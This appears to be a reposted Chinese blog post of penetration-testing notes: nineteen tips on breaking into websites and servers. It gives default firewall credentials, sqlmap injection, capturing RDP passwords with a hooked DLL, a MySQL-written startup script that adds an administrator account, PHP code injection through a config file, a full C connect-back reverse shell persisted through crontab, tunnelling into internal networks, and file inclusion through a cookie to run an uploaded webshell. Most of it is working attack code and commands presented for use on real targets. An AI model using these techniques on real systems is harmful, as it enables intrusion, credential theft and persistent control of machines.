渗透笔记(2)

1、Juniper(瞻博)防火墙的默认账号密码为:netscreen/netscreen

2、以下apache存在header injection漏洞:1.3.34/2.0.57/2.2.1

3、利用sqlmap进行POST注入:
./sqlmap.py -u "http://test.com/admin/test.php" --data "参数_1=a&参数_2=b" -p "参数_1"
复制代码



4、一个小技巧:面对win主机,如果发现目标有被入侵过的端倪,而又开着3389,进去试一下连敲5个Shift,人参无处不惊喜啊!

5、遇到目标有很多个C段的情况,寻找E-mail域名所在的C段,往往mail服务器所在的C段为最核心的功能段。

6、GetHashes、Pwdump、WCE等工具dump不了hash?那就试试使用WinlogonHack记录管理员登陆3389时的密码吧!下载之后将安装程序文件Hookmsgina.dll、install.bat、On.reg以及ReadLog.bat复制到一个相同文件夹下面,然后在Dos提示符或者GUI界面写直接运行install.bat即可。执行完毕后不需要重启,当有3389登上时,自动加载DLL,并且记录登录密码!管理员的登陆密码保存在系统system32目录的boot.dat文件中。

7、GetHashs和saminside有些时候获取不到Hash,可能的原因是管理员的密码过长,可以使用上一条的那种方法来获取。

8、如果能从Google搜索出一个网站具有黑客留下来的Webshell,那这个网站十有八九具有漏洞(这是废话~~~),具体来说有列目录漏洞。因为其他页面不可能会有链接链到Webshell的地址上,所以搜索引擎的爬虫不会爬到Webshell,所以最大的可能就是通过列目录漏洞暴露出Webshell的地址。

9、列目录漏洞的利用无非几种:Web编辑器、敏感文件(zip、rar、ini、mdb等)、upload页面、后台管理页面......(欢迎留言补充)

10、让win自带的防火墙允许某个端口进出(例如TCP 1234端口):
netsh firewall set portopening TCP 1234 ENABLE
复制代码



11、关闭一些危险的组件,禁止webshell运行命令:
(1)regsvr32 /u c:\windows\system32\WSHom.Ocx /s
(2)regsvr32 /u c:\windows\system32\shell32.dll /s
(3)regsvr32 /u c:\windows\system32\scrrun.dll /s
复制代码

开启也很简单,尤其是第三个的FSO组件,很可能造成网站奔溃,恢复的方法是
regsvr32  c:\windows\system32\scrrun.dll /s
复制代码



12、在一种很极端的情况下,你实在没有办法了,可以尝试一下启动项写入VBS脚本提权。当然,条件也十分苛刻:
(1)如果你的Webshell有足够的权限,能在用户启动目录里面写入文件
(2)耐心地等待管理员开启机子
(3)没开杀毒软件

我们利用Mysql来outfile出vbs脚本:
create table a(cmd text);
insert into a values ("set wshshell=createobject(""wscript.shell"")");
insert into a values ("a=wshshell.run(""cmd.exe /c net user user password /add"",0)");
insert into a values ("a=wshshell.run(""cmd.exe /c net localgroup administrators user /add"",0)");
select * from a into outfile "c:\\docume~1\\alluse~1\\[开始]菜单\\程序\\启动\\a.vbs";
复制代码


说明:
insert into a values ("a=wshshell.run(""cmd.exe /c net user user password /add"",0)");里面的“0”意思是不弹出CMD窗口,安静地运行。13、PhpSpy 2013 密码修改
(1)、将加密函数:
function encode_pass($pass) {
    $k = 'angel';
    $pass = md5($k.$pass);
    $pass = md5($pass.$k);
    $pass = md5($k.$pass.$k);
    return $pass;
复制代码

最后一行
return $pass; 修改为 echo $pass;
(2)、在Login框登陆输入你的密码,即可输出加密好的密码。
(3)、然后在PhpSpy 2013里修改 $pass的值 就可以了。
13、
真实案例:渗透某站后发现对方规则较变态,比如执行id,uname-a,等便可判断为入侵。
想了下,通过Base64编码绕过

命令写入文件的方式实现绕过(实际运用中要能上传或者写入文件)

还有其他很多方法,即使不能上传文件,也可以自己’因地制宜’
`借`到执行命令的字符后反单引号执行。用的方法是 linux Shell expr
 
linux Shell expr可以参考
http://blog.csdn.net/junjieguo/article/details/7293622

14、渗透某站过程中,进了后台拿不到shell,后台配置文件可写,便下了源码研究。
具体代码:
$config["db"]["pass"] = "";

$config["db"]["data"] = "phpok";

$config["db"]["prefix"] = "可写入的数据";

$config["db"]["debug"] = false;
复制代码


大胆地提交{${phpinfo()}}
访问配置文件,php代码被解析执行了。
原理是php双引号的解析执行,很多开源程序后台都可用这个拿shell喔。
Php双引号解析执行详见:
http://www.myhack58.com/Article/html/3/68/2013/36620.htm

15、遇到可修改模板的地方,看能否修改模板为php后缀,若不行,考虑畸形文件名?如.php.apk。
apache是依旧当做PHP执行的。
服务器解析漏洞详见 http://drops.wooyun.org/papers/539

16、
曾经搞一个站的后台,成功修改模板为.php后缀,但内容过滤了PHP标签<?
没办法了?
No! 写入:
<script language="php">phpinfo() ;</script>
复制代码

成功写入并解析,done.
17、reDuh,一个不错的工具,可以映射内网端口到http或https端口的http服务上:
服务端有aps、jsp、php版,具体下载:http://www.sensepost.com/research/reDuh。下面简单说下这个工具
先在服务器上传服务端:访问http://www.xxx.com/shell/reduh.jsp如下:
[reDuhError]Undefined Request
说明工作正常。

在本地:
D:\Tools\reDuh\0.2\reDuhClient>java reDuhClient www.xxx.com 80 /shell/reduh.jsp[Info]Querying remote JSP for usable remote RPC port[Info]Remote RPC port chosen as 42001[Info]Attempting to start reDuh.jsp from www.xxx.com:80/shell/reduh.jsp and setting remote RPC port to 42001. Please wait…[InfoL]reDuhClient service listener started on local port 1010[InfoL]Caught new service connection on port 1010
本地默认监听1010端口:
D:\Tools>nc -vv 127.0.0.1 1010DNS fwd/rev mismatch: localhost != vitterlocalhost [127.0.0.1] 1010 (?) openWelcome to the reDuh command line

>>[createTunnel]5900:192.168.0.3:5900Successfully bound locally to port 5900. Awaiting connections.
出现这个提示就ok了,[createTunnel]本地映射出的端口:被映射的内网ip:被映射的内网ip端口
然后就可以用vnc连接127.0.0.1的5900端口就是连攻击内网的192.168.0.3的服务器了。

18、如何在webshell反弹后门回来后停止apache:
由 python -c ’import pty; pty.spawn(“/bin/sh”)’得到一个可以交互的shell,在有root密码的前提下可 以su,但是发现不能停止httpd,因为这个shell的父进程是httpd的,如果httpd被stop后,发现后门直接就挂了。可以crond去跑 这个后门得到shell不要用webshell跑,在这个shell里面停止httpd(因为该内网服务器段只被映射这一个ip的80端口出来,现在这个 80端口要做内网映射到网关上,可以直接远程管理设备,开DMZ之后入侵其他内网服务器)。
本地:
nc -l -p 5555
服务器上:
[root@cactiez etc]#
cat /home/www/haha.c
—————————-代码开始分割线—————————–
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>int fd, sock;
int port = 5555;struct sockaddr_in addr;
char mesg[]  = ”::Connect-Back Backdoor:: CMD: ”;
char shell[] = ”/bin/sh”;
int main(int argc, char *argv[]) {
while(argc<2) {
   fprintf(stderr, ” %s <ip> ”, argv[0]);
    exit(0); }
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(argv[1]);
fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, (struct sockaddr*)&addr, sizeof(addr));
send(fd, mesg, sizeof(mesg), 0);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl(shell, ”in.telnetd”, 0);
close(fd);return 1;
}
复制代码



—————————-代码结束分割线—————————–
[root@cactiez etc]# gcc -o /bin/haha /home/www/haha.c
[root@cactiez etc]# mkdir /etc/cr_m
[root@cactiez etc]# cp /home/www/si /etc/cr_m/
[root@cactiez etc]# chmod +x /etc/cr_m/si
[root@cactiez etc]# cat /etc/cr_m/si #!/bin/sh/bin/haha xxx.xxx.xxx.xx 
[root@cactiez etc]# echo ”*/1 * * * * root run-parts /etc/cr_m” >> /etc/crontab   #追加一个crontab每分钟执行
[root@cactiez etc]# cat /etc/crontabSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=rootHOME=/# run-parts01 * * * * root run-parts /etc/cron.hourly02 4 * * * root run-parts /etc/cron.daily22 4 * * 0 root run-parts /etc/cron.weekly42 4 1 * * root run-parts /etc/cron.monthly*/1 * * * * root run-parts /etc/cr_m
1分钟后本地nc监听的就连上了,然后在这个里面停止httpd:
[root@cactiez etc]# cat /root/s.sh#!/bin/sh/sbin/service httpd stop/usr/local/bin/proxy 80 192.168.0.1 80sleep 600killall -9 proxy/sbin/service httpd restart
[root@cactiez etc]# /root/s.sh &
现在连接这机器的公网ip的80端口就已经是网关192.168.0.1的80端口了,赶紧的设置DMZ,搞定内网机器。

19、曾经搞一个站 无XSS 无SQL注入,只开放80端口。用户只能上传图片文件。有个物理路径报错。
运气好看到了cookie有一个
language=en
推测是否服务端的代码为
<?phpInclude “en.php”......
动手将cookie改成
language=../../../etc/passwd
中奖了。。
果断将一句话马改成jpg后缀上传,shell.jpg
动手将cookie改成
language=../../../../../shell.jpg

猜你喜欢

转载自blog.csdn.net/qq_40801316/article/details/81271732
今日推荐